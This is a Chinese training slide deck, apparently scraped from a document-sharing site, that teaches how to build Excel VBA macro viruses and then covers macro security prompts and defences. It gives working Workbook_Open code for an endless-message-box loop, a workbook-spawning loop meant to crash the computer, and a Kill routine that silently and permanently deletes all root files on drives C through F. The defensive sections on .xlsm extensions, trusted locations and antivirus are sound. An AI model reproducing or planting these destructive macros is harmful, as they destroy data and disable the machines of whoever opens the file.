找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學特別提示vba代碼也支持對操作系統(tǒng)的底層調用,可以使用某些系統(tǒng)上的dos命令,這樣一來宏病毒并不是僅僅“青睞”于你的簡單的文件,她還”格外關心”你的格式化硬盤服務,甚至關機操作也可以為你“效勞”
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏病毒的傳播方式移動存儲交流染毒文檔文件;硬盤染毒,處理的文檔文件必將染毒;光盤攜帶宏病毒;Internet上下載染毒文檔文件;BBS交流染毒文檔文件;電子郵件的附件夾帶病毒。(從某個角度上來說這就是為什么人事經理在接收電子郵件時總是提示不能以附件的方式發(fā)送word簡歷)馬成功在線視頻教學宏病毒的制作通過錄制宏的方法制作宏病毒幾乎是不可能的,宏病毒一般都是刻意手工編寫出來的要想制作宏病毒需要三個條件要有編寫的載體:宏病毒必須依附在相應的office軟件上的,可以是word文檔、excel文件或者ppt文稿要會編寫代碼:不一定非得采用vba編寫,但在office軟件上最好使用vba代碼編寫,并且代碼要寫在特殊的位置觸發(fā)宏病毒發(fā)作的條件沒有觸發(fā)條件,編寫的代碼是無用途的
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學我們嘗試制作以下病毒:打開文件后出現(xiàn)無窮的警告信息(入門病毒)打開文件后無窮的制作新工作簿(入門病毒)打開文件后刪除指定路徑下的其它文件(中級病毒)
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學病毒1:制作死循環(huán)彈出框病毒病毒特點代碼編寫解決方法
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學病毒特點打開該工作簿后出現(xiàn)煩心的對話框,并且很難關閉馬成功在線視頻教學代碼編寫PrivateSubWorkbook_Open()DimiFori=1To1000‘可以將1000改為任意大小的數(shù)字MsgBox"人事好:恭喜你中毒了"NextEndSub馬成功在線視頻教學解決方法按鍵盤上的ctrl+break組合鍵強行退出循環(huán),單擊“結束”按鈕即可解決也可以按鍵盤上的”ctrl+alt+delete”解決馬成功在線視頻教學另法按alt+f11鍵后進入vbe編輯界面刪除或注釋掉掉相應的代碼即可
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏病毒2:無窮的新建工作簿病毒特點代碼編寫如何殺毒馬成功在線視頻教學病毒特點打開含有代碼的工作簿后,自動新建無窮的工作簿,直到你的計算機崩潰為止馬成功在線視頻教學代碼編寫PrivateSubWorkbook_Open()DimiFori=1To100‘可以將100改為任意大小的數(shù)字Workbooks.AddNextEndSub馬成功在線視頻教學解決方法和上述解決方法類似,但不好控制馬成功在線視頻教學宏病毒3:刪除文件病毒特點代碼編寫如何殺毒
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學病毒特點打開含有代碼的工作簿后,自動刪除指定路徑的所有文件注:該病毒只刪除文件,不刪除文件夾而且是徹底刪除,不經過回收站馬成功在線視頻教學代碼編寫PrivateSubWorkbook_Open()OnErrorResumeNextKill"f:\1\*.*"EndSub提示:可以將Kill“f:\1\*.*”更改成多個語句kill“c:\*.*"kill“d:\*.*"kill“e:\*.*"kill“f:\*.*"馬成功在線視頻教學完整的代碼如下PrivateSubWorkbook_Open()OnErrorResumeNextkill“c:\*.*"kill“d:\*.*"kill“e:\*.*"kill“f:\*.*"EndSub她會將你c:\d:\e:\f:\盤上的根目錄下的所有裸露的文件徹底刪掉馬成功在線視頻教學解決方法這個病毒不好解決,有些難
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學減少不必要的恐慌雖然宏病毒有這樣或那樣的危害,但是我們大可不必如臨大敵,這是因為從以下幾個方面我們可以消除疑慮:Office使用者的掌握程度:Office軟件有無的考慮Office版本不兼容Office內置的天然屏障馬成功在線視頻教學office使用者的掌握程度office的使用者:大多數(shù)的或許就沒有聽說過宏的相關知識只有一少部分聽說過宏但僅僅停留在了解的階段只有非常少的一部分會去錄制宏解決問題只有極少的一部分會手工編寫vba代碼要想編寫一段很有危害的vba代碼需要系統(tǒng)的鍛煉,并不是短時間內一蹴而就的馬成功在線視頻教學Office軟件有無的考慮如果對方電腦上沒有安裝office相關軟件,也沒有安裝相關的第三方office文件閱讀器,實際上當你將含毒文件發(fā)送到對方的電腦上后,對方是無法打開你的文件的,連看都無法看更別說觸發(fā)病毒的發(fā)作了。馬成功在線視頻教學版本不兼容導致病毒無法運行同種語言不同版本情況下假設對方已安裝了相關的office文件,但是如果對方安裝的版本比你制作病毒的版本低并且在對方沒有安裝office兼容包的情況下話,也是無法打開你發(fā)送的文件的,更別說觸發(fā)病毒了中英文版本不兼容在同樣版本的office的軟件,比如都是安裝的office2003或office2007,但是如果一個安裝的是英文版本的office,一個安裝的中文版本的office,當對方接收到含毒文件后也是無法觸發(fā)病毒的發(fā)作的馬成功在線視頻教學Office內置的天然屏障假設彼此雙方在語言界面相同版本亦相同的情況下,是否在打開含毒文件后一定會觸發(fā)病毒的發(fā)作?答案是否定的因為office的相關軟件內置了一個對含代碼文件自動識別的功能,這個功能針對含代碼的文件才起作用,如果文件含有代碼,office2003和office2007的提示形式是不一樣的
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學Office2003的提示界面馬成功在線視頻教學Office2007的提示界面注意此處的提示馬成功在線視頻教學小提示:在默認情況下不管代碼是有益的還是有害的都會出現(xiàn)相應的提示如果打開的文件不含有任何代碼則不會出現(xiàn)相應的提示馬成功在線視頻教學小技巧:如何辨別含毒文件從上面的知識我們發(fā)現(xiàn)打開含代碼文件后會自動出現(xiàn)相應的提示信息,那么我們還可以不用打開含代碼文件僅從外觀即可粗略查看文件是否含代碼從文件的后綴格式和圖標上看出貓膩用office2007制作的代碼文件,如果想讓代碼和文件共存的話,在保存時會強制的保存為特殊的后綴格式(*.xlsm)但是用office2007以下版本制作的含代碼文件僅從圖標上是無法看出是否為含代碼文件,因為低版本的文件代碼和文件是共存在一起的,在保存時不會強制改變文件后綴格式和圖標形狀馬成功在線視頻教學要想理解打開含代碼文件時出現(xiàn)相應提示這就用到了宏病毒的防范措施
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏病毒的防范外部防范自身防范馬成功在線視頻教學外部防范主要是通過殺毒軟件防御和查殺,一般的殺毒軟件都含有查殺宏病毒的功能,并注意要時時的升級病毒庫馬成功在線視頻教學小提示:有的殺毒軟件對該類的病毒根本就查殺不了也防御不了馬成功在線視頻教學自身防范既然宏病毒制作主要是相應office軟件商制作的,傳播也是依賴相應office文件的針對這種情況,微軟在相應軟件上提供了自動識別和自動防御的功能
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學馬成功在線視頻教學馬成功在線視頻教學實際上微軟在運行有益的宏及防范宏病毒時采用了多種防范措施,這些措施大概劃分如下:在受信任位置中的設置不在信任位置中的設置數(shù)字簽名(受信任的發(fā)布者)馬成功在線視頻教學受信任位置將宏文件放置在安全的位置,以此來運行宏代碼馬成功在線視頻教學查看默認信任位置
找講師中國最大的培訓講師選聘平臺馬
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 名校聯(lián)盟浙江省溫州市第二十中學九年級歷史人教版 資源出現(xiàn)短缺的教學設計
- Unit 3 All about me Lesson 4:What do you like to do?教學設計 2024-2025學年冀教版(2024)七年級英語上冊
- 第二單元第9課《for循環(huán)的應用實例》教學設計 2023-2024學年浙教版(2020)初中信息技術八年級上冊
- 第二單元第6課《互聯(lián)網(wǎng)應用中的數(shù)據(jù)》教學設計 2023-2024學年浙教版(2023)初中信息技術八年級上冊
- 第三章 物態(tài)變化第4節(jié) 升華和凝華(教學設計)-2024-2025學年人教版物理八年級上冊
- 第14課 明至清中葉的經濟與文化 教學設計 -2024-2025學年高一統(tǒng)編版2019必修中外歷史綱要上冊
- 《紅樓夢》語言品讀鑒賞 教學設計 2023-2024學年統(tǒng)編版高中語文必修下冊
- 2025至2030年中國柜員機燈箱數(shù)據(jù)監(jiān)測研究報告
- 2025年廣東省珠海市單招職業(yè)適應性測試題庫學生專用
- 第八章走進國家第三節(jié)俄羅斯(第2課時)教學設計-2023-2024學年下學期七年級下冊同步課堂系列(湘教版)
- 2024-2025學年新教材高中化學 第三章 鐵 金屬材料 2.1 合金說課稿 新人教版必修1
- 《籃球防守腳步移動技術 滑步》教案
- 完整版項目部組織機構圖
- 浙江省杭州市2023-2024學年七年級上學期期末考試數(shù)學試題(含答案)
- 人工智能客服機器人使用手冊
- 品牌全球化體育營銷趨勢洞察報告 2024
- (新版)拖拉機駕駛證科目一知識考試題庫500題(含答案)
- (人衛(wèi)版第九版?zhèn)魅静W總論(一))課件
- 工業(yè)機器人仿真與離線編程項目-8-KUKA-Sim-Pro-軟件的介紹及基本操作
- 第2課++生涯規(guī)劃+筑夢未來(課時2)【中職專用】中職思想政治《心理健康與職業(yè)生涯》高效課堂 (高教版基礎模塊)
- 臨床診療指南(急診醫(yī)學)
評論
0/150
提交評論